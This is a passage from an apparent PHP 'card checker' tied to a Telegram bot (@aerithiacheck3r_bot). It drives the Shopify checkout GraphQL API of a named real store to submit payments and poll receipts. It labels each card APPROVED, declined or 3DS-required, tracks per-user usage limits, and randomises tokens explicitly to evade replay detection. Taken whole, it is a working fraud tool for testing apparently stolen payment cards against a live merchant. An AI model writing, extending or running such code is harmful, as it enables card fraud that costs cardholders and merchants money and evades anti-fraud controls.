                }
                
                // Update attemptToken with new random value to prevent replay detection
                $graphql_payload['variables']['attemptToken'] = $checkout_token . '-' . bin2hex(random_bytes(4));
                
                // Retry the SubmitForCompletion request with updated payload
                curl_setopt($ch, CURLOPT_URL, "https://www.leminimacaron.com/checkouts/unstable/graphql?operationName=SubmitForCompletion");
                curl_setopt($ch, CURLOPT_POST, true);
                curl_setopt($ch, CURLOPT_RETURNTRANSFER, true);
                curl_setopt($ch, CURLOPT_HEADER, false);
                curl_setopt($ch, CURLOPT_POSTFIELDS, json_encode($graphql_payload));
                curl_setopt($ch, CURLOPT_HTTPHEADER, [
                    "Accept: application/json",
                    "Content-Type: application/json",
                    "Origin: https://www.leminimacaron.com",
                    "Referer: https://www.leminimacaron.com/checkouts/cn/$checkout_token/en-us/payment",
                    "Shopify-Checkout-Source: id=\"$checkout_token\", type=\"cn\"",
                    "X-Checkout-One-Session-Token: $session_token",
                    "Shopify-Checkout-Client: checkout-web/1.0",
                    "X-Checkout-Web-Source-Id: $checkout_token",
                    "User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36",
                    "Accept-Language: en-US"
                ]);
                
                $response_retry = curl_exec($ch);
                $checkout_result_retry = json_decode($response_retry, true);
                
                if ($checkout_result_retry && isset($checkout_result_retry['data']['submitForCompletion'])) {
                    $submit_result = $checkout_result_retry['data']['submitForCompletion'];
                    $typename = $submit_result['__typename'] ?? 'Unknown';
                    
                    // Re-check error code
                    $error_code = 'UNKNOWN';
                    if (isset($submit_result['errors'][0]['code'])) {
                        $error_code = $submit_result['errors'][0]['code'];
                        $error_msg = $submit_result['errors'][0]['localizedMessage'] ?? 'Unknown error';
                    }
                    
                    // If error changed or typename changed, pending is resolved
                    if ($error_code !== 'WAITING_PENDING_TERMS' || $typename !== 'SubmitRejected') {
                        $pending_resolved = true;
                        $checkout_result = $checkout_result_retry; // Update main result
                    }
                }
            }
            
            // If still pending after all retries, give up
            if (!$pending_resolved) {
                $elapsed_time = number_format(microtime(true) - $start_time, 2);
                $current_limit = getCurrentLimit($chatid);
                die("⚠️ TIMEOUT | Pending terms not resolved after {$max_retry} retries. | $card_display ({$elapsed_time}s) 𝐋𝐢𝐦𝐢𝐭:$current_limit 𝐒𝐇𝐎𝐏𝐈𝐅𝐘𝟐 𝐂𝐇𝐄𝐂𝐊 𝐁𝐘 @aerithiacheck3r_bot");
            }
        }
    }
    
    // Extract receipt ID from different response types
    if (isset($submit_result['receipt']['id'])) {
        $receipt_id = $submit_result['receipt']['id'];
    }
    
    // Check if we need to poll for results
    if ($typename === 'SubmitSuccess' || $typename === 'SubmitAlreadyAccepted' || $typename === 'SubmittedForCompletion') {
        if ($receipt_id) {
            
            // Step 5: Poll for receipt
            
            // Step 5: Poll for receipt (max 30 attempts, 1 second delay)
            $max_polls = 30;
            $poll_count = 0;
            $payment_complete = false;
            
            $poll_query = [
                'variables' => [
                    'receiptId' => $receipt_id,
                    'sessionToken' => $session_token
                ],
                'operationName' => 'PollForReceipt',
                'query' => 'query PollForReceipt($receiptId:ID!,$sessionToken:String!){receipt(receiptId:$receiptId,sessionInput:{sessionToken:$sessionToken}){...ReceiptDetails __typename}}fragment ReceiptDetails on Receipt{...on ProcessedReceipt{id token redirectUrl orderStatusPageUrl paymentDetails{paymentCardBrand creditCardLastFourDigits paymentAmount{amount currencyCode __typename}paymentGateway __typename}__typename}...on ProcessingReceipt{id pollDelay __typename}...on WaitingReceipt{id pollDelay __typename}...on ActionRequiredReceipt{id action{...on CompletePaymentChallenge{offsiteRedirect url __typename}__typename}timeout{millisecondsRemaining __typename}__typename}...on FailedReceipt{id processingError{...on PaymentFailed{code messageUntranslated __typename}__typename}__typename}__typename}'
            ];
            
            while ($poll_count < $max_polls && !$payment_complete) {
                $poll_count++;
                sleep(1);
                
                curl_setopt($ch, CURLOPT_URL, "https://www.leminimacaron.com/checkouts/unstable/graphql?operationName=PollForReceipt");
                curl_setopt($ch, CURLOPT_POST, true);
                curl_setopt($ch, CURLOPT_RETURNTRANSFER, true);
                curl_setopt($ch, CURLOPT_HEADER, false);
                curl_setopt($ch, CURLOPT_POSTFIELDS, json_encode($poll_query));
                curl_setopt($ch, CURLOPT_HTTPHEADER, [
                    "Accept: application/json",
                    "Content-Type: application/json",
                    "Origin: https://www.leminimacaron.com",
                    "Referer: https://www.leminimacaron.com/checkouts/cn/$checkout_token/en-us/payment",
                    "Shopify-Checkout-Source: id=\"$checkout_token\", type=\"cn\"",
                    "X-Checkout-One-Session-Token: $session_token",
                    "Shopify-Checkout-Client: checkout-web/1.0",
                    "X-Checkout-Web-Source-Id: $checkout_token",
                    "User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36",
                    "Accept-Language: en-US",
                    "Cookie: $cookie_string"
                ]);
                
                $poll_response = curl_exec($ch);
                $poll_result = json_decode($poll_response, true);
                
                if (isset($poll_result['data']['receipt'])) {
                    $receipt = $poll_result['data']['receipt'];
                    $receipt_type = $receipt['__typename'] ?? 'Unknown';
                    
                    if ($receipt_type === 'ProcessedReceipt') {
                        // Payment processed successfully
                        $payment_complete = true;
                        $brand = $receipt['paymentDetails']['paymentCardBrand'] ?? 'Unknown';
                        $last_four = $receipt['paymentDetails']['creditCardLastFourDigits'] ?? '****';
                        $amount = $receipt['paymentDetails']['paymentAmount']['amount'] ?? '0';
                        $currency = $receipt['paymentDetails']['paymentAmount']['currencyCode'] ?? 'USD';
                        
                        $final_message = "✅ APPROVED | {$brand} ****{$last_four} | Amount: {$amount} {$currency}";
                        
                    } elseif ($receipt_type === 'FailedReceipt') {
                        // Payment failed
                        $payment_complete = true;
                        $error_code = $receipt['processingError']['code'] ?? 'UNKNOWN';
                        $error_msg = $receipt['processingError']['messageUntranslated'] ?? 'Payment failed';
                        
                        $final_message = "❌ {$error_code}";
                        
                    } elseif ($receipt_type === 'ProcessingReceipt' || $receipt_type === 'WaitingReceipt') {
                        // Still processing, continue polling
                        $poll_delay = $receipt['pollDelay'] ?? 1000;
                        
                    } elseif ($receipt_type === 'ActionRequiredReceipt') {
                        // 3DS or additional verification required
                        $payment_complete = true;
                        
                        // Extract 3DS details
                        $action_type = $receipt['action']['__typename'] ?? 'Unknown';
                        $redirect_url = $receipt['action']['url'] ?? '';
                        $timeout_ms = $receipt['timeout']['millisecondsRemaining'] ?? 0;
                        $timeout_sec = round($timeout_ms / 1000);
                        
                        // Save full 3DS response for debugging
                        file_put_contents(__DIR__ . '/debug_3ds_response.json', json_encode($receipt, JSON_PRETTY_PRINT));
                        
                        $final_message = "⚠️ 3DS REQUIRED | Action: $action_type | Timeout: {$timeout_sec}s | URL: " . substr($redirect_url, 0, 50) . "...";
                        
                    }
                }
            }
            
            if (!$payment_complete) {
                $final_message = "⏱️ TIMEOUT | Payment processing timed out after {$poll_count} attempts";
            }
            
        } else {
            $final_message = "❌ ERROR | No receipt ID received";
        }
        
    } elseif ($typename === 'SubmitFailed') {
        $reason = $submit_result['reason'] ?? 'Unknown';
        $final_message = "❌ SUBMIT FAILED | Reason: {$reason}";
        
    } elseif ($typename === 'SubmitRejected') {
        if (isset($submit_result['errors'][0])) {
            $error = $submit_result['errors'][0];
            $error_code = $error['code'] ?? 'Unknown';
            $error_msg = $error['localizedMessage'] ?? $error['nonLocalizedMessage'] ?? 'Unknown error';
            $final_message = "❌ REJECTED | [{$error_code}] {$error_msg}";
        } else {
            $final_message = "❌ REJECTED | Unknown error";
        }
    }
}

curl_close($ch);

// Cleanup cookie file
if (isset($cookie_file) && file_exists($cookie_file)) {
    @unlink($cookie_file);
}

// Get remaining limit
$remainingLimit = getCurrentLimit($chatid);

$end_time = microtime(true);
$execution_time = round($end_time - $start_time, 2);

echo $final_message . " | $card_display ({$execution_time}s) 𝐋𝐢𝐦𝐢𝐭:{$remainingLimit} 𝐒𝐇𝐎𝐏𝐈𝐅𝐘𝟐 𝐂𝐇𝐄𝐂𝐊 𝐁𝐘 @aerithiacheck3r_bot\n";
